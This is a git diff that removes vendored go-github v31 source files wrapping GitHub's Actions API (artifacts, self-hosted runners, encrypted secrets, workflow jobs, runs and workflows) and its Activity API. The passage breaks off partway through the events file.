API docs: https://developer.github.com/v3/actions/ -type ActionsService service diff --git a/vendor/github.com/google/go-github/v31/github/actions_artifacts.go b/vendor/github.com/google/go-github/v31/github/actions_artifacts.go deleted file mode 100644 index 1735849584..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions_artifacts.go +++ /dev/null @@ -1,140 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/http" - "net/url" -) - -// Artifact reprents a GitHub artifact. Artifacts allow sharing -// data between jobs in a workflow and provide storage for data -// once a workflow is complete. -// -// GitHub API docs: https://developer.github.com/v3/actions/artifacts/ -type Artifact struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Name *string `json:"name,omitempty"` - SizeInBytes *int64 `json:"size_in_bytes,omitempty"` - ArchiveDownloadURL *string `json:"archive_download_url,omitempty"` - Expired *bool `json:"expired,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - ExpiresAt *Timestamp `json:"expires_at,omitempty"` -} - -// ArtifactList represents a list of GitHub artifacts. -// -// GitHub API docs: https://developer.github.com/v3/actions/artifacts/ -type ArtifactList struct { - TotalCount *int64 `json:"total_count,omitempty"` - Artifacts []*Artifact `json:"artifacts,omitempty"` -} - -// ListWorkflowRunArtifacts lists all artifacts that belong to a workflow run. -// -// GitHub API docs: https://developer.github.com/v3/actions/artifacts/#list-workflow-run-artifacts -func (s *ActionsService) ListWorkflowRunArtifacts(ctx context.Context, owner, repo string, runID int64, opts *ListOptions) (*ArtifactList, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runs/%v/artifacts", owner, repo, runID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - artifactList := new(ArtifactList) - resp, err := s.client.Do(ctx, req, artifactList) - if err != nil { - return nil, resp, err - } - - return artifactList, resp, nil -} - -// GetArtifact gets a specific artifact for a workflow run. -// -// GitHub API docs: https://developer.github.com/v3/actions/artifacts/#get-an-artifact -func (s *ActionsService) GetArtifact(ctx context.Context, owner, repo string, artifactID int64) (*Artifact, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/artifacts/%v", owner, repo, artifactID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - artifact := new(Artifact) - resp, err := s.client.Do(ctx, req, artifact) - if err != nil { - return nil, resp, err - } - - return artifact, resp, nil -} - -// DownloadArtifact gets a redirect URL to download an archive for a repository. -// -// GitHub API docs: https://developer.github.com/v3/actions/artifacts/#download-an-artifact -func (s *ActionsService) DownloadArtifact(ctx context.Context, owner, repo string, artifactID int64, followRedirects bool) (*url.URL, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/artifacts/%v/zip", owner, repo, artifactID) - - resp, err := s.getDownloadArtifactFromURL(ctx, u, followRedirects) - if err != nil { - return nil, nil, err - } - - if resp.StatusCode != http.StatusFound { - return nil, newResponse(resp), fmt.Errorf("unexpected status code: %s", resp.Status) - } - parsedURL, err := url.Parse(resp.Header.Get("Location")) - return parsedURL, newResponse(resp), nil -} - -func (s *ActionsService) getDownloadArtifactFromURL(ctx context.Context, u string, followRedirects bool) (*http.Response, error) { - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, err - } - - var resp *http.Response - // Use http.DefaultTransport if no custom Transport is configured - req = withContext(ctx, req) - if s.client.client.Transport == nil { - resp, err = http.DefaultTransport.RoundTrip(req) - } else { - resp, err = s.client.client.Transport.RoundTrip(req) - } - if err != nil { - return nil, err - } - resp.Body.Close() - - // If redirect response is returned, follow it - if followRedirects && resp.StatusCode == http.StatusMovedPermanently { - u = resp.Header.Get("Location") - resp, err = s.getDownloadArtifactFromURL(ctx, u, false) - } - return resp, err -} - -// DeleteArtifact deletes a workflow run artifact. -// -// GitHub API docs: https://developer.github.com/v3/actions/artifacts/#delete-an-artifact -func (s *ActionsService) DeleteArtifact(ctx context.Context, owner, repo string, artifactID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/artifacts/%v", owner, repo, artifactID) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/actions_runners.go b/vendor/github.com/google/go-github/v31/github/actions_runners.go deleted file mode 100644 index 24f88f0f99..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions_runners.go +++ /dev/null @@ -1,161 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// RunnerApplicationDownload represents a binary for the self-hosted runner application that can be downloaded. -type RunnerApplicationDownload struct { - OS *string `json:"os,omitempty"` - Architecture *string `json:"architecture,omitempty"` - DownloadURL *string `json:"download_url,omitempty"` - Filename *string `json:"filename,omitempty"` -} - -// ListRunnerApplicationDownloads lists self-hosted runner application binaries that can be downloaded and run. -// -// GitHub API docs: https://developer.github.com/v3/actions/self_hosted_runners/#list-downloads-for-the-self-hosted-runner-application -func (s *ActionsService) ListRunnerApplicationDownloads(ctx context.Context, owner, repo string) ([]*RunnerApplicationDownload, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runners/downloads", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var rads []*RunnerApplicationDownload - resp, err := s.client.Do(ctx, req, &rads) - if err != nil { - return nil, resp, err - } - - return rads, resp, nil -} - -// RegistrationToken represents a token that can be used to add a self-hosted runner to a repository. -type RegistrationToken struct { - Token *string `json:"token,omitempty"` - ExpiresAt *Timestamp `json:"expires_at,omitempty"` -} - -// CreateRegistrationToken creates a token that can be used to add a self-hosted runner. -// -// GitHub API docs: https://developer.github.com/v3/actions/self_hosted_runners/#create-a-registration-token -func (s *ActionsService) CreateRegistrationToken(ctx context.Context, owner, repo string) (*RegistrationToken, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runners/registration-token", owner, repo) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - registrationToken := new(RegistrationToken) - resp, err := s.client.Do(ctx, req, registrationToken) - if err != nil { - return nil, resp, err - } - - return registrationToken, resp, nil -} - -// Runner represents a self-hosted runner registered with a repository. -type Runner struct { - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - OS *string `json:"os,omitempty"` - Status *string `json:"status,omitempty"` -} - -// Runners represents a collection of self-hosted runners for a repository. -type Runners struct { - TotalCount int `json:"total_count"` - Runners []*Runner `json:"runners"` -} - -// ListRunners lists all the self-hosted runners for a repository. -// -// GitHub API docs: https://developer.github.com/v3/actions/self_hosted_runners/#list-self-hosted-runners-for-a-repository -func (s *ActionsService) ListRunners(ctx context.Context, owner, repo string, opts *ListOptions) (*Runners, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runners", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - runners := &Runners{} - resp, err := s.client.Do(ctx, req, &runners) - if err != nil { - return nil, resp, err - } - - return runners, resp, nil -} - -// GetRunner gets a specific self-hosted runner for a repository using its runner ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/self_hosted_runners/#get-a-self-hosted-runner -func (s *ActionsService) GetRunner(ctx context.Context, owner, repo string, runnerID int64) (*Runner, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runners/%v", owner, repo, runnerID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - runner := new(Runner) - resp, err := s.client.Do(ctx, req, runner) - if err != nil { - return nil, resp, err - } - - return runner, resp, nil -} - -// RemoveToken represents a token that can be used to remove a self-hosted runner from a repository. -type RemoveToken struct { - Token *string `json:"token,omitempty"` - ExpiresAt *Timestamp `json:"expires_at,omitempty"` -} - -// CreateRemoveToken creates a token that can be used to remove a self-hosted runner from a repository. -// -// GitHub API docs: https://developer.github.com/v3/actions/self_hosted_runners/#create-a-remove-token -func (s *ActionsService) CreateRemoveToken(ctx context.Context, owner, repo string) (*RemoveToken, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runners/remove-token", owner, repo) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - removeToken := new(RemoveToken) - resp, err := s.client.Do(ctx, req, removeToken) - if err != nil { - return nil, resp, err - } - - return removeToken, resp, nil -} - -// RemoveRunner forces the removal of a self-hosted runner in a repository using the runner id. -// -// GitHub API docs: https://developer.github.com/v3/actions/self_hosted_runners/#remove-a-self-hosted-runner -func (s *ActionsService) RemoveRunner(ctx context.Context, owner, repo string, runnerID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runners/%v", owner, repo, runnerID) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/actions_secrets.go b/vendor/github.com/google/go-github/v31/github/actions_secrets.go deleted file mode 100644 index 1640b5a02c..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions_secrets.go +++ /dev/null @@ -1,132 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// PublicKey represents the public key that should be used to encrypt secrets. -type PublicKey struct { - KeyID *string `json:"key_id"` - Key *string `json:"key"` -} - -// GetPublicKey gets a public key that should be used for secret encryption. -// -// GitHub API docs: https://developer.github.com/v3/actions/secrets/#get-your-public-key -func (s *ActionsService) GetPublicKey(ctx context.Context, owner, repo string) (*PublicKey, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/secrets/public-key", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - pubKey := new(PublicKey) - resp, err := s.client.Do(ctx, req, pubKey) - if err != nil { - return nil, resp, err - } - - return pubKey, resp, nil -} - -// Secret represents a repository action secret. -type Secret struct { - Name string `json:"name"` - CreatedAt Timestamp `json:"created_at"` - UpdatedAt Timestamp `json:"updated_at"` -} - -// Secrets represents one item from the ListSecrets response. -type Secrets struct { - TotalCount int `json:"total_count"` - Secrets []*Secret `json:"secrets"` -} - -// ListSecrets lists all secrets available in a repository -// without revealing their encrypted values. -// -// GitHub API docs: https://developer.github.com/v3/actions/secrets/#list-secrets-for-a-repository -func (s *ActionsService) ListSecrets(ctx context.Context, owner, repo string, opts *ListOptions) (*Secrets, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/actions/secrets", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - secrets := new(Secrets) - resp, err := s.client.Do(ctx, req, &secrets) - if err != nil { - return nil, resp, err - } - - return secrets, resp, nil -} - -// GetSecret gets a single secret without revealing its encrypted value. -// -// GitHub API docs: https://developer.github.com/v3/actions/secrets/#get-a-secret -func (s *ActionsService) GetSecret(ctx context.Context, owner, repo, name string) (*Secret, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/secrets/%v", owner, repo, name) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - secret := new(Secret) - resp, err := s.client.Do(ctx, req, secret) - if err != nil { - return nil, resp, err - } - - return secret, resp, nil -} - -// EncryptedSecret represents a secret that is encrypted using a public key. -// -// The value of EncryptedValue must be your secret, encrypted with -// LibSodium (see documentation here: https://libsodium.gitbook.io/doc/bindings_for_other_languages) -// using the public key retrieved using the GetPublicKey method. -type EncryptedSecret struct { - Name string `json:"-"` - KeyID string `json:"key_id"` - EncryptedValue string `json:"encrypted_value"` -} - -// CreateOrUpdateSecret creates or updates a secret with an encrypted value. -// -// GitHub API docs: https://developer.github.com/v3/actions/secrets/#create-or-update-a-secret-for-a-repository -func (s *ActionsService) CreateOrUpdateSecret(ctx context.Context, owner, repo string, eSecret *EncryptedSecret) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/secrets/%v", owner, repo, eSecret.Name) - - req, err := s.client.NewRequest("PUT", u, eSecret) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DeleteSecret deletes a secret in a repository using the secret name. -// -// GitHub API docs: https://developer.github.com/v3/actions/secrets/#delete-a-secret-from-a-repository -func (s *ActionsService) DeleteSecret(ctx context.Context, owner, repo, name string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/secrets/%v", owner, repo, name) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/actions_workflow_jobs.go b/vendor/github.com/google/go-github/v31/github/actions_workflow_jobs.go deleted file mode 100644 index 0838ce48d7..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions_workflow_jobs.go +++ /dev/null @@ -1,149 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/http" - "net/url" -) - -// TaskStep represents a single task step from a sequence of tasks of a job. -type TaskStep struct { - Name *string `json:"name,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - Number *int64 `json:"number,omitempty"` - StartedAt *Timestamp `json:"started_at,omitempty"` - CompletedAt *Timestamp `json:"completed_at,omitempty"` -} - -// WorkflowJob represents a repository action workflow job. -type WorkflowJob struct { - ID *int64 `json:"id,omitempty"` - RunID *int64 `json:"run_id,omitempty"` - RunURL *string `json:"run_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` - HeadSHA *string `json:"head_sha,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - StartedAt *Timestamp `json:"started_at,omitempty"` - CompletedAt *Timestamp `json:"completed_at,omitempty"` - Name *string `json:"name,omitempty"` - Steps []*TaskStep `json:"steps,omitempty"` - CheckRunURL *string `json:"check_run_url,omitempty"` -} - -// Jobs represents a slice of repository action workflow job. -type Jobs struct { - TotalCount *int `json:"total_count,omitempty"` - Jobs []*WorkflowJob `json:"jobs,omitempty"` -} - -// ListWorkflowJobsOptions specifies optional parameters to ListWorkflowJobs. -type ListWorkflowJobsOptions struct { - // Filter specifies how jobs should be filtered by their completed_at timestamp. - // Possible values are: - // latest - Returns jobs from the most recent execution of the workflow run - // all - Returns all jobs for a workflow run, including from old executions of the workflow run - // - // Default value is "latest". - Filter string `url:"filter,omitempty"` - ListOptions -} - -// ListWorkflowJobs lists all jobs for a workflow run. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_jobs/#list-jobs-for-a-workflow-run -func (s *ActionsService) ListWorkflowJobs(ctx context.Context, owner, repo string, runID int64, opts *ListWorkflowJobsOptions) (*Jobs, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/actions/runs/%v/jobs", owner, repo, runID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - jobs := new(Jobs) - resp, err := s.client.Do(ctx, req, &jobs) - if err != nil { - return nil, resp, err - } - - return jobs, resp, nil -} - -// GetWorkflowJobByID gets a specific job in a workflow run by ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_jobs/#get-a-workflow-job -func (s *ActionsService) GetWorkflowJobByID(ctx context.Context, owner, repo string, jobID int64) (*WorkflowJob, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/jobs/%v", owner, repo, jobID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - job := new(WorkflowJob) - resp, err := s.client.Do(ctx, req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, nil -} - -// GetWorkflowJobLogs gets a redirect URL to download a plain text file of logs for a workflow job. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_jobs/#list-workflow-job-logs -func (s *ActionsService) GetWorkflowJobLogs(ctx context.Context, owner, repo string, jobID int64, followRedirects bool) (*url.URL, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/jobs/%v/logs", owner, repo, jobID) - - resp, err := s.getWorkflowLogsFromURL(ctx, u, followRedirects) - if err != nil { - return nil, nil, err - } - - if resp.StatusCode != http.StatusFound { - return nil, newResponse(resp), fmt.Errorf("unexpected status code: %s", resp.Status) - } - parsedURL, err := url.Parse(resp.Header.Get("Location")) - return parsedURL, newResponse(resp), err -} - -func (s *ActionsService) getWorkflowLogsFromURL(ctx context.Context, u string, followRedirects bool) (*http.Response, error) { - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, err - } - - var resp *http.Response - // Use http.DefaultTransport if no custom Transport is configured - req = withContext(ctx, req) - if s.client.client.Transport == nil { - resp, err = http.DefaultTransport.RoundTrip(req) - } else { - resp, err = s.client.client.Transport.RoundTrip(req) - } - if err != nil { - return nil, err - } - resp.Body.Close() - - // If redirect response is returned, follow it - if followRedirects && resp.StatusCode == http.StatusMovedPermanently { - u = resp.Header.Get("Location") - resp, err = s.getWorkflowLogsFromURL(ctx, u, false) - } - return resp, err - -} diff --git a/vendor/github.com/google/go-github/v31/github/actions_workflow_runs.go b/vendor/github.com/google/go-github/v31/github/actions_workflow_runs.go deleted file mode 100644 index b365bb1c75..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions_workflow_runs.go +++ /dev/null @@ -1,181 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/http" - "net/url" -) - -// WorkflowRun represents a repository action workflow run. -type WorkflowRun struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - HeadBranch *string `json:"head_branch,omitempty"` - HeadSHA *string `json:"head_sha,omitempty"` - RunNumber *int `json:"run_number,omitempty"` - Event *string `json:"event,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - PullRequests []*PullRequest `json:"pull_requests,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - JobsURL *string `json:"jobs_url,omitempty"` - LogsURL *string `json:"logs_url,omitempty"` - CheckSuiteURL *string `json:"check_suite_url,omitempty"` - ArtifactsURL *string `json:"artifacts_url,omitempty"` - CancelURL *string `json:"cancel_url,omitempty"` - RerunURL *string `json:"rerun_url,omitempty"` - HeadCommit *HeadCommit `json:"head_commit,omitempty"` - WorkflowURL *string `json:"workflow_url,omitempty"` - Repository *Repository `json:"repository,omitempty"` - HeadRepository *Repository `json:"head_repository,omitempty"` -} - -// WorkflowRuns represents a slice of repository action workflow run. -type WorkflowRuns struct { - TotalCount *int `json:"total_count,omitempty"` - WorkflowRuns []*WorkflowRun `json:"workflow_runs,omitempty"` -} - -// ListWorkflowRunsOptions specifies optional parameters to ListWorkflowRuns. -type ListWorkflowRunsOptions struct { - Actor string `url:"actor,omitempty"` - Branch string `url:"branch,omitempty"` - Event string `url:"event,omitempty"` - Status string `url:"status,omitempty"` - ListOptions -} - -func (s *ActionsService) listWorkflowRuns(ctx context.Context, endpoint string, opts *ListWorkflowRunsOptions) (*WorkflowRuns, *Response, error) { - u, err := addOptions(endpoint, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - runs := new(WorkflowRuns) - resp, err := s.client.Do(ctx, req, &runs) - if err != nil { - return nil, resp, err - } - - return runs, resp, nil -} - -// ListWorkflowRunsByID lists all workflow runs by workflow ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#list-workflow-runs -func (s *ActionsService) ListWorkflowRunsByID(ctx context.Context, owner, repo string, workflowID int64, opts *ListWorkflowRunsOptions) (*WorkflowRuns, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/actions/workflows/%v/runs", owner, repo, workflowID) - return s.listWorkflowRuns(ctx, u, opts) -} - -// ListWorkflowRunsByFileName lists all workflow runs by workflow file name. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#list-workflow-runs -func (s *ActionsService) ListWorkflowRunsByFileName(ctx context.Context, owner, repo, workflowFileName string, opts *ListWorkflowRunsOptions) (*WorkflowRuns, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/actions/workflows/%v/runs", owner, repo, workflowFileName) - return s.listWorkflowRuns(ctx, u, opts) -} - -// ListRepositoryWorkflowRuns lists all workflow runs for a repository. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#list-repository-workflow-runs -func (s *ActionsService) ListRepositoryWorkflowRuns(ctx context.Context, owner, repo string, opts *ListOptions) (*WorkflowRuns, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/actions/runs", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - runs := new(WorkflowRuns) - resp, err := s.client.Do(ctx, req, &runs) - if err != nil { - return nil, resp, err - } - - return runs, resp, nil -} - -// GetWorkflowRunByID gets a specific workflow run by ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#get-a-workflow-run -func (s *ActionsService) GetWorkflowRunByID(ctx context.Context, owner, repo string, runID int64) (*WorkflowRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runs/%v", owner, repo, runID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - run := new(WorkflowRun) - resp, err := s.client.Do(ctx, req, run) - if err != nil { - return nil, resp, err - } - - return run, resp, nil -} - -// RerunWorkflow re-runs a workflow by ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#re-run-a-workflow -func (s *ActionsService) RerunWorkflowByID(ctx context.Context, owner, repo string, runID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runs/%v/rerun", owner, repo, runID) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// CancelWorkflowRunByID cancels a workflow run by ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#cancel-a-workflow-run -func (s *ActionsService) CancelWorkflowRunByID(ctx context.Context, owner, repo string, runID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runs/%v/cancel", owner, repo, runID) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// GetWorkflowRunLogs gets a redirect URL to download a plain text file of logs for a workflow run. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflow_runs/#list-workflow-run-logs -func (s *ActionsService) GetWorkflowRunLogs(ctx context.Context, owner, repo string, runID int64, followRedirects bool) (*url.URL, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/runs/%v/logs", owner, repo, runID) - - resp, err := s.getWorkflowLogsFromURL(ctx, u, followRedirects) - if err != nil { - return nil, nil, err - } - - if resp.StatusCode != http.StatusFound { - return nil, newResponse(resp), fmt.Errorf("unexpected status code: %s", resp.Status) - } - parsedURL, err := url.Parse(resp.Header.Get("Location")) - return parsedURL, newResponse(resp), err -} diff --git a/vendor/github.com/google/go-github/v31/github/actions_workflows.go b/vendor/github.com/google/go-github/v31/github/actions_workflows.go deleted file mode 100644 index 9743f5072b..0000000000 --- a/vendor/github.com/google/go-github/v31/github/actions_workflows.go +++ /dev/null @@ -1,88 +0,0 @@ -// Copyright 2020 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Workflow represents a repository action workflow. -type Workflow struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - State *string `json:"state,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - BadgeURL *string `json:"badge_url,omitempty"` -} - -// Workflows represents a slice of repository action workflows. -type Workflows struct { - TotalCount *int `json:"total_count,omitempty"` - Workflows []*Workflow `json:"workflows,omitempty"` -} - -// ListWorkflows lists all workflows in a repository. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflows/#list-repository-workflows -func (s *ActionsService) ListWorkflows(ctx context.Context, owner, repo string, opts *ListOptions) (*Workflows, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/actions/workflows", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - workflows := new(Workflows) - resp, err := s.client.Do(ctx, req, &workflows) - if err != nil { - return nil, resp, err - } - - return workflows, resp, nil -} - -// GetWorkflowByID gets a specific workflow by ID. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflows/#get-a-workflow -func (s *ActionsService) GetWorkflowByID(ctx context.Context, owner, repo string, workflowID int64) (*Workflow, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/workflows/%v", owner, repo, workflowID) - - return s.getWorkflow(ctx, u) -} - -// GetWorkflowByFileName gets a specific workflow by file name. -// -// GitHub API docs: https://developer.github.com/v3/actions/workflows/#get-a-workflow -func (s *ActionsService) GetWorkflowByFileName(ctx context.Context, owner, repo, workflowFileName string) (*Workflow, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/actions/workflows/%v", owner, repo, workflowFileName) - - return s.getWorkflow(ctx, u) -} - -func (s *ActionsService) getWorkflow(ctx context.Context, url string) (*Workflow, *Response, error) { - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - return nil, nil, err - } - - workflow := new(Workflow) - resp, err := s.client.Do(ctx, req, workflow) - if err != nil { - return nil, resp, err - } - - return workflow, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/activity.go b/vendor/github.com/google/go-github/v31/github/activity.go deleted file mode 100644 index f6336fcc99..0000000000 --- a/vendor/github.com/google/go-github/v31/github/activity.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import "context" - -// ActivityService handles communication with the activity related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/activity/ -type ActivityService service - -// FeedLink represents a link to a related resource. -type FeedLink struct { - HRef *string `json:"href,omitempty"` - Type *string `json:"type,omitempty"` -} - -// Feeds represents timeline resources in Atom format. -type Feeds struct { - TimelineURL *string `json:"timeline_url,omitempty"` - UserURL *string `json:"user_url,omitempty"` - CurrentUserPublicURL *string `json:"current_user_public_url,omitempty"` - CurrentUserURL *string `json:"current_user_url,omitempty"` - CurrentUserActorURL *string `json:"current_user_actor_url,omitempty"` - CurrentUserOrganizationURL *string `json:"current_user_organization_url,omitempty"` - CurrentUserOrganizationURLs []string `json:"current_user_organization_urls,omitempty"` - Links *struct { - Timeline *FeedLink `json:"timeline,omitempty"` - User *FeedLink `json:"user,omitempty"` - CurrentUserPublic *FeedLink `json:"current_user_public,omitempty"` - CurrentUser *FeedLink `json:"current_user,omitempty"` - CurrentUserActor *FeedLink `json:"current_user_actor,omitempty"` - CurrentUserOrganization *FeedLink `json:"current_user_organization,omitempty"` - CurrentUserOrganizations []*FeedLink `json:"current_user_organizations,omitempty"` - } `json:"_links,omitempty"` -} - -// ListFeeds lists all the feeds available to the authenticated user. -// -// GitHub provides several timeline resources in Atom format: -// Timeline: The GitHub global public timeline -// User: The public timeline for any user, using URI template -// Current user public: The public timeline for the authenticated user -// Current user: The private timeline for the authenticated user -// Current user actor: The private timeline for activity created by the -// authenticated user -// Current user organizations: The private timeline for the organizations -// the authenticated user is a member of. -// -// Note: Private feeds are only returned when authenticating via Basic Auth -// since current feed URIs use the older, non revocable auth tokens. -func (s *ActivityService) ListFeeds(ctx context.Context) (*Feeds, *Response, error) { - req, err := s.client.NewRequest("GET", "feeds", nil) - if err != nil { - return nil, nil, err - } - - f := &Feeds{} - resp, err := s.client.Do(ctx, req, f) - if err != nil { - return nil, resp, err - } - - return f, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/activity_events.go b/vendor/github.com/google/go-github/v31/github/activity_events.go deleted file mode 100644 index d45b26ddcd..0000000000 --- a/vendor/github.com/google/go-github/v31/github/activity_events.go +++ /dev/null @@ -1,217 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListEvents drinks from the firehose of all public events across GitHub. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events -func (s *ActivityService) ListEvents(ctx context.Context, opts *ListOptions) ([]*Event, *Response, error) { - u, err := addOptions("events", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - 